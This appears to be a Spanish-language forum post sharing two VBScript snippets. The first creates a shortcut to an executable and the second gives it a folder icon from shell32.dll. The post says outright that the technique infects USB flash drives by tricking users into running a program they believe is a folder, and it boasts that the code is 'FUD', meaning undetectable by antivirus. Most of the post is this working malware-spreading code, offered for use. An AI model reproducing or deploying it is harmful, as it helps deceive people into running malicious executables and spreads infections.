HOLA!!!
Tecnica muy utilizada para infectar memorias flash este codigo permitira crear un link desde un path determinado y cambiarle el icono.
Se puede utilizar para que el usuario ejecute un ejecutable pensando que es una carpeta por ejemplo.
Codigo 1:
'CREAR ACCESO DIRECTO:
Set objShell = WScript.CreateObject("WScript.Shell")
Set link= objShell.CreateShortcut("C:\ArchivoMalicioso.lnk")
link.TargetPath = "C:\Ejecutable.exe"
link.Description = "Archivo malicioso"
link.Save
Codigo 2:
'CAMBIAR ICONO DE UN ACCESO DIRECTO
Const DESKTOP = &H10&
Set objShell = CreateObject("Shell.Application")
'SELECCIONAMOS LA CARPETA
Set objFolder = objShell.NameSpace("c:\")
'SELECCIONAMOS EL ARCHIVO DE ACCESO DIRECTO
Set objFolderItem = objFolder.ParseName("ArchivoMalicioso.lnk")
Set objShortcut = objFolderItem.GetLink
'ELEGIMOS EL ICONO 13 DE SHELL32.DLL
objShortcut.SetIconLocation "C:\Windows\System32\SHELL32.dll", 13
objShortcut.Save
Bueno en cuanto a como elegir el icono utilizamos el archivo shell32.dll el icono 13, para saber que icono es el 13 o el numero que querramos abrimos el explorador de iconos y contamos de la siguiente manera:
(http://i.imgur.com/xzZGvC7.jpg)
Como veran el icono elegido es el que tiene fondo azul. (el que esta seleccionado en la imagen).
Este codigo es FUD.
(http://nodistribute.com/result/image/iwXvlsK7Fen5poW0RkTP.png)
GRACIAS POR LEER!!!